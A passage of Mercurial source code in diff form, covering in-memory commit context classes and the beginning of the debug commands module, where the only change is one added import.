     Mercurial. Moved files are represented by marking the source file
     removed and the new file added with copy information (see
     memfilectx).
 
     user receives the committer name and defaults to current
     repository username, date is the commit date in any format
     supported by dateutil.parsedate() and defaults to current date, extra
     is a dictionary of metadata or is left empty.
     """
 
     # Mercurial <= 3.1 expects the filectxfn to raise IOError for missing files.
     # Extensions that need to retain compatibility across Mercurial 3.1 can use
     # this field to determine what to do in filectxfn.
     _returnnoneformissingfiles = True
 
     def __init__(
         self,
         repo,
         parents,
         text,
         files,
         filectxfn,
         user=None,
         date=None,
         extra=None,
         branch=None,
         editor=False,
     ):
         super(memctx, self).__init__(
             repo, text, user, date, extra, branch=branch
         )
         self._rev = None
         self._node = None
         parents = [(p or nullid) for p in parents]
         p1, p2 = parents
         self._parents = [self._repo[p] for p in (p1, p2)]
         files = sorted(set(files))
         self._files = files
         self.substate = {}
 
         if isinstance(filectxfn, patch.filestore):
             filectxfn = memfilefrompatch(filectxfn)
         elif not callable(filectxfn):
             # if store is not callable, wrap it in a function
             filectxfn = memfilefromctx(filectxfn)
 
         # memoizing increases performance for e.g. vcs convert scenarios.
         self._filectxfn = makecachingfilectxfn(filectxfn)
 
         if editor:
             self._text = editor(self._repo, self, [])
             self._repo.savecommitmessage(self._text)
 
     def filectx(self, path, filelog=None):
         """get a file context from the working directory
 
         Returns None if file doesn't exist and should be removed."""
         return self._filectxfn(self._repo, self, path)
 
     def commit(self):
         """commit context to the repo"""
         return self._repo.commitctx(self)
 
     @propertycache
     def _manifest(self):
         """generate a manifest based on the return values of filectxfn"""
 
         # keep this simple for now; just worry about p1
         pctx = self._parents[0]
         man = pctx.manifest().copy()
 
         for f in self._status.modified:
             man[f] = modifiednodeid
 
         for f in self._status.added:
             man[f] = addednodeid
 
         for f in self._status.removed:
             if f in man:
                 del man[f]
 
         return man
 
     @propertycache
     def _status(self):
         """Calculate exact status from ``files`` specified at construction
         """
         man1 = self.p1().manifest()
         p2 = self._parents[1]
         # "1 < len(self._parents)" can't be used for checking
         # existence of the 2nd parent, because "memctx._parents" is
         # explicitly initialized by the list, of which length is 2.
         if p2.node() != nullid:
             man2 = p2.manifest()
             managing = lambda f: f in man1 or f in man2
         else:
             managing = lambda f: f in man1
 
         modified, added, removed = [], [], []
         for f in self._files:
             if not managing(f):
                 added.append(f)
             elif self[f]:
                 modified.append(f)
             else:
                 removed.append(f)
 
         return scmutil.status(modified, added, removed, [], [], [], [])
 
 
 class memfilectx(committablefilectx):
     """memfilectx represents an in-memory file to commit.
 
     See memctx and committablefilectx for more details.
     """
 
     def __init__(
         self,
         repo,
         changectx,
         path,
         data,
         islink=False,
         isexec=False,
         copysource=None,
     ):
         """
         path is the normalized file path relative to repository root.
         data is the file content as a string.
         islink is True if the file is a symbolic link.
         isexec is True if the file is executable.
         copied is the source file path if current file was copied in the
         revision being committed, or None."""
         super(memfilectx, self).__init__(repo, path, None, changectx)
         self._data = data
         if islink:
             self._flags = b'l'
         elif isexec:
             self._flags = b'x'
         else:
             self._flags = b''
         self._copysource = copysource
 
     def copysource(self):
         return self._copysource
 
     def cmp(self, fctx):
         return self.data() != fctx.data()
 
     def data(self):
         return self._data
 
     def remove(self, ignoremissing=False):
         """wraps unlink for a repo's working directory"""
         # need to figure out what to do here
         del self._changectx[self._path]
 
     def write(self, data, flags, **kwargs):
         """wraps repo.wwrite"""
         self._data = data
 
 
 class metadataonlyctx(committablectx):
     """Like memctx but it's reusing the manifest of different commit.
     Intended to be used by lightweight operations that are creating
     metadata-only changes.
 
     Revision information is supplied at initialization time.  'repo' is the
     current localrepo, 'ctx' is original revision which manifest we're reuisng
     'parents' is a sequence of two parent revisions identifiers (pass None for
     every missing parent), 'text' is the commit.
 
     user receives the committer name and defaults to current repository
     username, date is the commit date in any format supported by
     dateutil.parsedate() and defaults to current date, extra is a dictionary of
     metadata or is left empty.
     """
 
     def __init__(
         self,
         repo,
         originalctx,
         parents=None,
         text=None,
         user=None,
         date=None,
         extra=None,
         editor=False,
     ):
         if text is None:
             text = originalctx.description()
         super(metadataonlyctx, self).__init__(repo, text, user, date, extra)
         self._rev = None
         self._node = None
         self._originalctx = originalctx
         self._manifestnode = originalctx.manifestnode()
         if parents is None:
             parents = originalctx.parents()
         else:
             parents = [repo[p] for p in parents if p is not None]
         parents = parents[:]
         while len(parents) < 2:
             parents.append(repo[nullid])
         p1, p2 = self._parents = parents
 
         # sanity check to ensure that the reused manifest parents are
         # manifests of our commit parents
         mp1, mp2 = self.manifestctx().parents
         if p1 != nullid and p1.manifestnode() != mp1:
             raise RuntimeError(
                 r"can't reuse the manifest: its p1 "
                 r"doesn't match the new ctx p1"
             )
         if p2 != nullid and p2.manifestnode() != mp2:
             raise RuntimeError(
                 r"can't reuse the manifest: "
                 r"its p2 doesn't match the new ctx p2"
             )
 
         self._files = originalctx.files()
         self.substate = {}
 
         if editor:
             self._text = editor(self._repo, self, [])
             self._repo.savecommitmessage(self._text)
 
     def manifestnode(self):
         return self._manifestnode
 
     @property
     def _manifestctx(self):
         return self._repo.manifestlog[self._manifestnode]
 
     def filectx(self, path, filelog=None):
         return self._originalctx.filectx(path, filelog=filelog)
 
     def commit(self):
         """commit context to the repo"""
         return self._repo.commitctx(self)
 
     @property
     def _manifest(self):
         return self._originalctx.manifest()
 
     @propertycache
     def _status(self):
         """Calculate exact status from ``files`` specified in the ``origctx``
         and parents manifests.
         """
         man1 = self.p1().manifest()
         p2 = self._parents[1]
         # "1 < len(self._parents)" can't be used for checking
         # existence of the 2nd parent, because "metadataonlyctx._parents" is
         # explicitly initialized by the list, of which length is 2.
         if p2.node() != nullid:
             man2 = p2.manifest()
             managing = lambda f: f in man1 or f in man2
         else:
             managing = lambda f: f in man1
 
         modified, added, removed = [], [], []
         for f in self._files:
             if not managing(f):
                 added.append(f)
             elif f in self:
                 modified.append(f)
             else:
                 removed.append(f)
 
         return scmutil.status(modified, added, removed, [], [], [], [])
 
 
 class arbitraryfilectx(object):
     """Allows you to use filectx-like functions on a file in an arbitrary
     location on disk, possibly not in the working directory.
     """
 
     def __init__(self, path, repo=None):
         # Repo is optional because contrib/simplemerge uses this class.
         self._repo = repo
         self._path = path
 
     def cmp(self, fctx):
         # filecmp follows symlinks whereas `cmp` should not, so skip the fast
         # path if either side is a symlink.
         symlinks = b'l' in self.flags() or b'l' in fctx.flags()
         if not symlinks and isinstance(fctx, workingfilectx) and self._repo:
             # Add a fast-path for merge if both sides are disk-backed.
             # Note that filecmp uses the opposite return values (True if same)
             # from our cmp functions (True if different).
             return not filecmp.cmp(self.path(), self._repo.wjoin(fctx.path()))
         return self.data() != fctx.data()
 
     def path(self):
         return self._path
 
     def flags(self):
         return b''
 
     def data(self):
         return util.readfile(self._path)
 
     def decodeddata(self):
         with open(self._path, b"rb") as f:
             return f.read()
 
     def remove(self):
         util.unlink(self._path)
 
     def write(self, data, flags, **kwargs):
         assert not flags
         with open(self._path, b"wb") as f:
             f.write(data)

mercurial/debugcommands.py

@@ -1,4265 +1,4266 b''
 # debugcommands.py - command processing for debug* commands
 #
 # Copyright 2005-2016 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import codecs
 import collections
 import difflib
 import errno
 import operator
 import os
 import random
 import re
 import socket
 import ssl
 import stat
 import string
 import subprocess
 import sys
 import time
 
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullhex,
     nullid,
     nullrev,
     short,
 )
 from .pycompat import (
     getattr,
     open,
 )
 from . import (
     bundle2,
     changegroup,
     cmdutil,
     color,
     context,
     copies,
     dagparser,
     encoding,
     error,
     exchange,
     extensions,
     filemerge,
     filesetlang,
     formatter,
     hg,
     httppeer,
     localrepo,
     lock as lockmod,
     logcmdutil,
     merge as mergemod,
     obsolete,
     obsutil,
+    pathutil,
     phases,
     policy,
     pvec,
     pycompat,
     registrar,
     repair,
     revlog,
     revset,
     revsetlang,
     scmutil,
     setdiscovery,
     simplemerge,
     sshpeer,
     sslutil,
     streamclone,
     templater,
     treediscovery,
     upgrade,
     url as urlmod,
     util,
     vfs as vfsmod,
     wireprotoframing,
     wireprotoserver,
     wireprotov2peer,
 )
 from .utils import (
     cborutil,
     compression,
     dateutil,
     procutil,
     stringutil,
 )
 
 from .revlogutils import deltas as deltautil
 
 release = lockmod.release
 
 command = registrar.command()
 
 
 @command(b'debugancestor', [], _(b'[INDEX] REV1 REV2'), optionalrepo=True)
 def debugancestor(ui, repo, *args):
     """find the ancestor revision of two revisions in a given index"""
     if len(args) == 3:
         index, rev1, rev2 = args
         r = revlog.revlog(vfsmod.vfs(encoding.getcwd(), audit=False), index)
         lookup = r.lookup
     elif len(args) == 2:
         if not repo:
             raise error.Abort(
                 _(b'there is no Mercurial repository here (.hg not found)')
             )
         rev1, rev2 = args
         r = repo.changelog
         lookup = repo.lookup
     else:
         raise error.Abort(_(b'either two or three arguments required'))
     a = r.ancestor(lookup(rev1), lookup(rev2))
     ui.write(b'%d:%s\n' % (r.rev(a), hex(a)))
 
 
 @command(b'debugapplystreamclonebundle', [], b'FILE')
 def debugapplystreamclonebundle(ui, repo, fname):
     """apply a stream clone bundle file"""
     f = hg.openpath(ui, fname)
     gen = exchange.readbundle(ui, f, fname)
     gen.apply(repo)
 
 
 @command(
     b'debugbuilddag',
     [
         (
             b'm',
             b'mergeable-file',
             None,
             _(b'add single file mergeable changes'),
         ),
         (
             b'o',
             b'overwritten-file',
             None,
             _(b'add single file all revs overwrite'),
         ),
         (b'n', b'new-file', None, _(b'add new file at each rev')),
     ],
     _(b'[OPTION]... [TEXT]'),
 )
 def debugbuilddag(
     ui,
     repo,
     text=None,
     mergeable_file=False,
     overwritten_file=False,
     new_file=False,
 ):
     """builds a repo with a given DAG from scratch in the current empty repo
 
     The description of the DAG is read from stdin if not given on the
     command line.
 
     Elements:
 
      - "+n" is a linear run of n nodes based on the current default parent
      - "." is a single node based on the current default parent
      - "$" resets the default parent to null (implied at the start);
            otherwise the default parent is always the last node created
      - "<p" sets the default parent to the backref p
      - "*p" is a fork at parent p, which is a backref
      - "*p1/p2" is a merge of parents p1 and p2, which are backrefs
      - "/p2" is a merge of the preceding node and p2
      - ":tag" defines a local tag for the preceding node
      - "@branch" sets the named branch for subsequent nodes
      - "#...\\n" is a comment up to the end of the line
 
     Whitespace between the above elements is ignored.
 
     A backref is either
 
      - a number n, which references the node curr-n, where curr is the current
        node, or
      - the name of a local tag you placed earlier using ":tag", or
      - empty to denote the default parent.
 
     All string valued-elements are either strictly alphanumeric, or must
     be enclosed in double quotes ("..."), with "\\" as escape character.
     """
 
     if text is None:
         ui.status(_(b"reading DAG from stdin\n"))
         text = ui.fin.read()
 
     cl = repo.changelog
     if len(cl) > 0:
         raise error.Abort(_(b'repository is not empty'))
 
     # determine number of revs in DAG
     total = 0
     for type, data in dagparser.parsedag(text):
         if type == b'n':
             total += 1
 
     if mergeable_file:
         linesperrev = 2
         # make a file with k lines per rev
         initialmergedlines = [
             b'%d' % i for i in pycompat.xrange(0, total * linesperrev)
         ]
         initialmergedlines.append(b"")
 
     tags = []
     progress = ui.makeprogress(
         _(b'building'), unit=_(b'revisions'), total=total
     )
     with progress, repo.wlock(), repo.lock(), repo.transaction(b"builddag"):
         at = -1
         atbranch = b'default'
         nodeids = []
         id = 0
         progress.update(id)
         for type, data in dagparser.parsedag(text):
             if type == b'n':
                 ui.note((b'node %s\n' % pycompat.bytestr(data)))
                 id, ps = data
 
                 files = []
                 filecontent = {}
 
                 p2 = None
                 if mergeable_file:
                     fn = b"mf"
                     p1 = repo[ps[0]]
                     if len(ps) > 1:
                         p2 = repo[ps[1]]
                         pa = p1.ancestor(p2)
                         base, local, other = [
                             x[fn].data() for x in (pa, p1, p2)
                         ]
                         m3 = simplemerge.Merge3Text(base, local, other)
                         ml = [l.strip() for l in m3.merge_lines()]
                         ml.append(b"")
                     elif at > 0:
                         ml = p1[fn].data().split(b"\n")
                     else:
                         ml = initialmergedlines
                     ml[id * linesperrev] += b" r%i" % id
                     mergedtext = b"\n".join(ml)
                     files.append(fn)
                     filecontent[fn] = mergedtext
 
                 if overwritten_file:
                     fn = b"of"
                     files.append(fn)
                     filecontent[fn] = b"r%i\n" % id
 
                 if new_file:
                     fn = b"nf%i" % id
                     files.append(fn)
                     filecontent[fn] = b"r%i\n" % id
                     if len(ps) > 1:
                         if not p2:
                             p2 = repo[ps[1]]
                         for fn in p2:
                             if fn.startswith(b"nf"):
                                 files.append(fn)
                                 filecontent[fn] = p2[fn].data()
 
                 def fctxfn(repo, cx, path):
                     if path in filecontent:
                         return context.memfilectx(
                             repo, cx, path, filecontent[path]
                         )
                     return None
 
                 if len(ps) == 0 or ps[0] < 0:
                     pars = [None, None]
                 elif len(ps) == 1:
                     pars = [nodeids[ps[0]], None]
                 else:
                     pars = [nodeids[p] for p in ps]
                 cx = context.memctx(
                     repo,
                     pars,
                     b"r%i" % id,
                     files,
                     fctxfn,
                     date=(id, 0),
                     user=b"debugbuilddag",
                     extra={b'branch': atbranch},
                 )
                 nodeid = repo.commitctx(cx)
                 nodeids.append(nodeid)
                 at = id
             elif type == b'l':
                 id, name = data
                 ui.note((b'tag %s\n' % name))
                 tags.append(b"%s %s\n" % (hex(repo.changelog.node(id)), name))
             elif type == b'a':
                 ui.note((b'branch %s\n' % data))
                 atbranch = data
             progress.update(id)
 
         if tags:
             repo.vfs.write(b"localtags", b"".join(tags))
 
 
 def _debugchangegroup(ui, gen, all=None, indent=0, **opts):
     indent_string = b' ' * indent
     if all:
         ui.writenoi18n(
             b"%sformat: id, p1, p2, cset, delta base, len(delta)\n"
             % indent_string
         )
 
         def showchunks(named):
             ui.write(b"\n%s%s\n" % (indent_string, named))
             for deltadata in gen.deltaiter():
                 node, p1, p2, cs, deltabase, delta, flags = deltadata
                 ui.write(
                     b"%s%s %s %s %s %s %d\n"
                     % (
                         indent_string,
                         hex(node),
                         hex(p1),
                         hex(p2),
                         hex(cs),
                         hex(deltabase),
                         len(delta),
                     )
                 )
 
         chunkdata = gen.changelogheader()
         showchunks(b"changelog")
         chunkdata = gen.manifestheader()
         showchunks(b"manifest")
         for chunkdata in iter(gen.filelogheader, {}):
             fname = chunkdata[b'filename']
             showchunks(fname)
     else:
         if isinstance(gen, bundle2.unbundle20):
             raise error.Abort(_(b'use debugbundle2 for this file'))
         chunkdata = gen.changelogheader()
         for deltadata in gen.deltaiter():
             node, p1, p2, cs, deltabase, delta, flags = deltadata
             ui.write(b"%s%s\n" % (indent_string, hex(node)))
 
 
 def _debugobsmarkers(ui, part, indent=0, **opts):
     """display version and markers contained in 'data'"""
     opts = pycompat.byteskwargs(opts)
     data = part.read()
     indent_string = b' ' * indent
     try:
         version, markers = obsolete._readmarkers(data)
     except error.UnknownVersion as exc:
         msg = b"%sunsupported version: %s (%d bytes)\n"
         msg %= indent_string, exc.version, len(data)
         ui.write(msg)
     else:
         msg = b"%sversion: %d (%d bytes)\n"
         msg %= indent_string, version, len(data)
         ui.write(msg)
         fm = ui.formatter(b'debugobsolete', opts)
         for rawmarker in sorted(markers):
             m = obsutil.marker(None, rawmarker)
             fm.startitem()
             fm.plain(indent_string)
             cmdutil.showmarker(fm, m)
         fm.end()
 
 
 def _debugphaseheads(ui, data, indent=0):
     """display version and markers contained in 'data'"""
     indent_string = b' ' * indent
     headsbyphase = phases.binarydecode(data)
     for phase in phases.allphases:
         for head in headsbyphase[phase]:
             ui.write(indent_string)
             ui.write(b'%s %s\n' % (hex(head), phases.phasenames[phase]))
 
 
 def _quasirepr(thing):
     if isinstance(thing, (dict, util.sortdict, collections.OrderedDict)):
         return b'{%s}' % (
             b', '.join(b'%s: %s' % (k, thing[k]) for k in sorted(thing))
         )
     return pycompat.bytestr(repr(thing))
 
 
 def _debugbundle2(ui, gen, all=None, **opts):
     """lists the contents of a bundle2"""
     if not isinstance(gen, bundle2.unbundle20):
         raise error.Abort(_(b'not a bundle2 file'))
     ui.write((b'Stream params: %s\n' % _quasirepr(gen.params)))
     parttypes = opts.get('part_type', [])
     for part in gen.iterparts():
         if parttypes and part.type not in parttypes:
             continue
         msg = b'%s -- %s (mandatory: %r)\n'
         ui.write((msg % (part.type, _quasirepr(part.params), part.mandatory)))
         if part.type == b'changegroup':
             version = part.params.get(b'version', b'01')
             cg = changegroup.getunbundler(version, part, b'UN')
             if not ui.quiet:
                 _debugchangegroup(ui, cg, all=all, indent=4, **opts)
         if part.type == b'obsmarkers':
             if not ui.quiet:
                 _debugobsmarkers(ui, part, indent=4, **opts)
         if part.type == b'phase-heads':
             if not ui.quiet:
                 _debugphaseheads(ui, part, indent=4)
 
 
 @command(
     b'debugbundle',
     [
         (b'a', b'all', None, _(b'show all details')),
         (b'', b'part-type', [], _(b'show only the named part type')),
         (b'', b'spec', None, _(b'print the bundlespec of the bundle')),
     ],
     _(b'FILE'),
     norepo=True,
 )
 def debugbundle(ui, bundlepath, all=None, spec=None, **opts):
     """lists the contents of a bundle"""
     with hg.openpath(ui, bundlepath) as f:
         if spec:
             spec = exchange.getbundlespec(ui, f)
             ui.write(b'%s\n' % spec)
             return
 
         gen = exchange.readbundle(ui, f, bundlepath)
         if isinstance(gen, bundle2.unbundle20):
             return _debugbundle2(ui, gen, all=all, **opts)
         _debugchangegroup(ui, gen, all=all, **opts)
 
 
 @command(b'debugcapabilities', [], _(b'PATH'), norepo=True)
 def debugcapabilities(ui, path, **opts):
     """lists the capabilities of a remote peer"""
     opts = pycompat.byteskwargs(opts)
     peer = hg.peer(ui, opts, path)
     caps = peer.capabilities()
     ui.writenoi18n(b'Main capabilities:\n')
     for c in sorted(caps):
         ui.write(b'  %s\n' % c)
     b2caps = bundle2.bundle2caps(peer)
     if b2caps:
         ui.writenoi18n(b'Bundle2 capabilities:\n')
         for key, values in sorted(pycompat.iteritems(b2caps)):
             ui.write(b'  %s\n' % key)
             for v in values:
                 ui.write(b'    %s\n' % v)
 
 
 @command(b'debugcheckstate', [], b'')
 def debugcheckstate(ui, repo):
     """validate the correctness of the current dirstate"""
     parent1, parent2 = repo.dirstate.parents()
     m1 = repo[parent1].manifest()
     m2 = repo[parent2].manifest()
     errors = 0
     for f in repo.dirstate:
         state = repo.dirstate[f]
         if state in b"nr" and f not in m1:
             ui.warn(_(b"%s in state %s, but not in manifest1\n") % (f, state))
             errors += 1
         if state in b"a" and f in m1:
             ui.warn(_(b"%s in state %s, but also in manifest1\n") % (f, state))
             errors += 1
         if state in b"m" and f not in m1 and f not in m2:
             ui.warn(
                 _(b"%s in state %s, but not in either manifest\n") % (f, state)
             )
             errors += 1
     for f in m1:
         state = repo.dirstate[f]
         if state not in b"nrm":
             ui.warn(_(b"%s in manifest1, but listed as state %s") % (f, state))
             errors += 1
     if errors:
         error = _(b".hg/dirstate inconsistent with current parent's manifest")
         raise error.Abort(error)
 
 
 @command(
     b'debugcolor',
     [(b'', b'style', None, _(b'show all configured styles'))],
     b'hg debugcolor',
 )
 def debugcolor(ui, repo, **opts):
     """show available color, effects or style"""
     ui.writenoi18n(b'color mode: %s\n' % stringutil.pprint(ui._colormode))
     if opts.get('style'):
         return _debugdisplaystyle(ui)
     else:
         return _debugdisplaycolor(ui)
 
 
 def _debugdisplaycolor(ui):
     ui = ui.copy()
     ui._styles.clear()
     for effect in color._activeeffects(ui).keys():
         ui._styles[effect] = effect
     if ui._terminfoparams:
         for k, v in ui.configitems(b'color'):
             if k.startswith(b'color.'):
                 ui._styles[k] = k[6:]
             elif k.startswith(b'terminfo.'):
                 ui._styles[k] = k[9:]
     ui.write(_(b'available colors:\n'))
     # sort label with a '_' after the other to group '_background' entry.
     items = sorted(ui._styles.items(), key=lambda i: (b'_' in i[0], i[0], i[1]))
     for colorname, label in items:
         ui.write(b'%s\n' % colorname, label=label)
 
 
 def _debugdisplaystyle(ui):
     ui.write(_(b'available style:\n'))
     if not ui._styles:
         return
     width = max(len(s) for s in ui._styles)
     for label, effects in sorted(ui._styles.items()):
         ui.write(b'%s' % label, label=label)
         if effects:
             # 50
             ui.write(b': ')
             ui.write(b' ' * (max(0, width - len(label))))
             ui.write(b', '.join(ui.label(e, e) for e in effects.split()))
         ui.write(b'\n')
 
 
 @command(b'debugcreatestreamclonebundle', [], b'FILE')
 def debugcreatestreamclonebundle(ui, repo, fname):
     """create a stream clone bundle file
 
     Stream bundles are special bundles that are essentially archives of
     revlog files. They are commonly used for cloning very quickly.
     """
     # TODO we may want to turn this into an abort when this functionality
     # is moved into `hg bundle`.
     if phases.hassecret(repo):
         ui.warn(
             _(
                 b'(warning: stream clone bundle will contain secret '
                 b'revisions)\n'
             )
         )
 
     requirements, gen = streamclone.generatebundlev1(repo)
     changegroup.writechunks(ui, gen, fname)
 
     ui.write(_(b'bundle requirements: %s\n') % b', '.join(sorted(requirements)))
 
 
 @command(
     b'debugdag',
     [
         (b't', b'tags', None, _(b'use tags as labels')),
         (b'b', b'branches', None, _(b'annotate with branch names')),
         (b'', b'dots', None, _(b'use dots for runs')),
         (b's', b'spaces', None, _(b'separate elements by spaces')),
     ],
     _(b'[OPTION]... [FILE [REV]...]'),
     optionalrepo=True,
 )
 def debugdag(ui, repo, file_=None, *revs, **opts):
     """format the changelog or an index DAG as a concise textual description
 
     If you pass a revlog index, the revlog's DAG is emitted. If you list
     revision numbers, they get labeled in the output as rN.
 
     Otherwise, the changelog DAG of the current repo is emitted.
     """
     spaces = opts.get('spaces')
     dots = opts.get('dots')
     if file_:
         rlog = revlog.revlog(vfsmod.vfs(encoding.getcwd(), audit=False), file_)
         revs = set((int(r) for r in revs))
 
         def events():
             for r in rlog:
                 yield b'n', (r, list(p for p in rlog.parentrevs(r) if p != -1))
                 if r in revs:
                     yield b'l', (r, b"r%i" % r)
 
     elif repo:
         cl = repo.changelog
         tags = opts.get('tags')
         branches = opts.get('branches')
         if tags:
             labels = {}
             for l, n in repo.tags().items():
                 labels.setdefault(cl.rev(n), []).append(l)
 
         def events():
             b = b"default"
             for r in cl:
                 if branches:
                     newb = cl.read(cl.node(r))[5][b'branch']
                     if newb != b:
                         yield b'a', newb
                         b = newb
                 yield b'n', (r, list(p for p in cl.parentrevs(r) if p != -1))
                 if tags:
                     ls = labels.get(r)
                     if ls:
                         for l in ls:
                             yield b'l', (r, l)
 
     else:
         raise error.Abort(_(b'need repo for changelog dag'))
 
     for line in dagparser.dagtextlines(
         events(),
         addspaces=spaces,
         wraplabels=True,
         wrapannotations=True,
         wrapnonlinear=dots,
         usedots=dots,
         maxlinewidth=70,
     ):
         ui.write(line)
         ui.write(b"\n")
 
 
 @command(b'debugdata', cmdutil.debugrevlogopts, _(b'-c|-m|FILE REV'))
 def debugdata(ui, repo, file_, rev=None, **opts):
     """dump the contents of a data file revision"""
     opts = pycompat.byteskwargs(opts)
     if opts.get(b'changelog') or opts.get(b'manifest') or opts.get(b'dir'):
         if rev is not None:
             raise error.CommandError(b'debugdata', _(b'invalid arguments'))
         file_, rev = None, file_
     elif rev is None:
         raise error.CommandError(b'debugdata', _(b'invalid arguments'))
     r = cmdutil.openstorage(repo, b'debugdata', file_, opts)
     try:
         ui.write(r.rawdata(r.lookup(rev)))
     except KeyError:
         raise error.Abort(_(b'invalid revision identifier %s') % rev)
 
 
 @command(
     b'debugdate',
     [(b'e', b'extended', None, _(b'try extended date formats'))],
     _(b'[-e] DATE [RANGE]'),
     norepo=True,
     optionalrepo=True,
 )
 def debugdate(ui, date, range=None, **opts):
     """parse and display a date"""
     if opts["extended"]:
         d = dateutil.parsedate(date, util.extendeddateformats)
     else:
         d = dateutil.parsedate(date)
     ui.writenoi18n(b"internal: %d %d\n" % d)
     ui.writenoi18n(b"standard: %s\n" % dateutil.datestr(d))
     if range:
         m = dateutil.matchdate(range)
         ui.writenoi18n(b"match: %s\n" % m(d[0]))
 
 
 @command(
     b'debugdeltachain',
     cmdutil.debugrevlogopts + cmdutil.formatteropts,
     _(b'-c|-m|FILE'),
     optionalrepo=True,
 )
 def debugdeltachain(ui, repo, file_=None, **opts):
     """dump information about delta chains in a revlog
 
     Output can be templatized. Available template keywords are:
 
     :``rev``:       revision number
     :``chainid``:   delta chain identifier (numbered by unique base)
     :``chainlen``:  delta chain length to this revision
     :``prevrev``:   previous revision in delta chain
     :``deltatype``: role of delta / how it was computed
     :``compsize``:  compressed size of revision
     :``uncompsize``: uncompressed size of revision
     :``chainsize``: total size of compressed revisions in chain
     :``chainratio``: total chain size divided by uncompressed revision size
                     (new delta chains typically start at ratio 2.00)
     :``lindist``:   linear distance from base revision in delta chain to end
                     of this revision
     :``extradist``: total size of revisions not part of this delta chain from
                     base of delta chain to end of this revision; a measurement
                     of how much extra data we need to read/seek across to read
                     the delta chain for this revision
     :``extraratio``: extradist divided by chainsize; another representation of
                     how much unrelated data is needed to load this delta chain
 
     If the repository is configured to use the sparse read, additional keywords
     are available:
 
     :``readsize``:     total size of data read from the disk for a revision
                        (sum of the sizes of all the blocks)
     :``largestblock``: size of the largest block of data read from the disk
     :``readdensity``:  density of useful bytes in the data read from the disk
     :``srchunks``:  in how many data hunks the whole revision would be read
 
     The sparse read can be enabled with experimental.sparse-read = True
     """
     opts = pycompat.byteskwargs(opts)
     r = cmdutil.openrevlog(repo, b'debugdeltachain', file_, opts)
     index = r.index
     start = r.start
     length = r.length
     generaldelta = r.version & revlog.FLAG_GENERALDELTA
     withsparseread = getattr(r, '_withsparseread', False)
 
     def revinfo(rev):
         e = index[rev]
         compsize = e[1]
         uncompsize = e[2]
         chainsize = 0
 
         if generaldelta:
             if e[3] == e[5]:
                 deltatype = b'p1'
             elif e[3] == e[6]:
                 deltatype = b'p2'
             elif e[3] == rev - 1:
                 deltatype = b'prev'
             elif e[3] == rev:
                 deltatype = b'base'
             else:
                 deltatype = b'other'
         else:
             if e[3] == rev:
                 deltatype = b'base'
             else:
                 deltatype = b'prev'
 
         chain = r._deltachain(rev)[0]
         for iterrev in chain:
             e = index[iterrev]
             chainsize += e[1]
 
         return compsize, uncompsize, deltatype, chain, chainsize
 
     fm = ui.formatter(b'debugdeltachain', opts)
 
     fm.plain(
         b'    rev  chain# chainlen     prev   delta       '
         b'size    rawsize  chainsize     ratio   lindist extradist '
         b'extraratio'
     )
     if withsparseread:
         fm.plain(b'   readsize largestblk rddensity srchunks')
     fm.plain(b'\n')
 
     chainbases = {}
     for rev in r:
         comp, uncomp, deltatype, chain, chainsize = revinfo(rev)
         chainbase = chain[0]
         chainid = chainbases.setdefault(chainbase, len(chainbases) + 1)
         basestart = start(chainbase)
         revstart = start(rev)
         lineardist = revstart + comp - basestart
         extradist = lineardist - chainsize
         try:
             prevrev = chain[-2]
         except IndexError:
             prevrev = -1
 
         if uncomp != 0:
             chainratio = float(chainsize) / float(uncomp)
         else:
             chainratio = chainsize
 
         if chainsize != 0:
             extraratio = float(extradist) / float(chainsize)
         else:
             extraratio = extradist
 
         fm.startitem()
         fm.write(
             b'rev chainid chainlen prevrev deltatype compsize '
             b'uncompsize chainsize chainratio lindist extradist '
             b'extraratio',
             b'%7d %7d %8d %8d %7s %10d %10d %10d %9.5f %9d %9d %10.5f',
             rev,
             chainid,
             len(chain),
             prevrev,
             deltatype,
             comp,
             uncomp,
             chainsize,
             chainratio,
             lineardist,
             extradist,
             extraratio,
             rev=rev,
             chainid=chainid,
             chainlen=len(chain),
             prevrev=prevrev,
             deltatype=deltatype,
             compsize=comp,
             uncompsize=uncomp,
             chainsize=chainsize,
             chainratio=chainratio,
             lindist=lineardist,
             extradist=extradist,
             extraratio=extraratio,
         )
         if withsparseread:
             readsize = 0
             largestblock = 0
             srchunks = 0
 
             for revschunk in deltautil.slicechunk(r, chain):
                 srchunks += 1
                 blkend = start(revschunk[-1]) + length(revschunk[-1])
                 blksize = blkend - start(revschunk[0])
 
                 readsize += blksize
                 if largestblock < blksize:
                     largestblock = blksize
 
             if readsize:
                 readdensity = float(chainsize) / float(readsize)
             else:
                 readdensity = 1
 
             fm.write(
                 b'readsize largestblock readdensity srchunks',
                 b' %10d %10d %9.5f %8d',
                 readsize,
                 largestblock,
                 readdensity,
                 srchunks,
                 readsize=readsize,
                 largestblock=largestblock,
                 readdensity=readdensity,
                 srchunks=srchunks,
             )
 
         fm.plain(b'\n')
 
     fm.end()
 
 
 @command(
     b'debugdirstate|debugstate',
     [
         (
             b'',
             b'nodates',
             None,
             _(b'do not display the saved mtime (DEPRECATED)'),
         ),
         (b'', b'dates', True, _(b'display the saved mtime')),
         (b'', b'datesort', None, _(b'sort by saved mtime')),
     ],
     _(b'[OPTION]...'),
 )
 def debugstate(ui, repo, **opts):
     """show the contents of the current dirstate"""
 
     nodates = not opts['dates']
     if opts.get('nodates') is not None:
         nodates = True
     datesort = opts.get('datesort')
 
     if datesort:
         keyfunc = lambda x: (x[1][3], x[0])  # sort by mtime, then by filename
     else:
         keyfunc = None  # sort by filename
     for file_, ent in sorted(pycompat.iteritems(repo.dirstate), key=keyfunc):
         if ent[3] == -1:
             timestr = b'unset               '
         elif nodates:
             timestr = b'set                 '
         else:
             timestr = time.strftime(
                 "%Y-%m-%d %H:%M:%S ", time.localtime(ent[3])
             )
             timestr = encoding.strtolocal(timestr)
         if ent[1] & 0o20000:
             mode = b'lnk'
         else:
             mode = b'%3o' % (ent[1] & 0o777 & ~util.umask)
         ui.write(b"%c %s %10d %s%s\n" % (ent[0], mode, ent[2], timestr, file_))
     for f in repo.dirstate.copies():
         ui.write(_(b"copy: %s -> %s\n") % (repo.dirstate.copied(f), f))
 
 
 @command(
     b'debugdiscovery',
     [
         (b'', b'old', None, _(b'use old-style discovery')),
         (
             b'',
             b'nonheads',
             None,
             _(b'use old-style discovery with non-heads included'),
         ),
         (b'', b'rev', [], b'restrict discovery to this set of revs'),
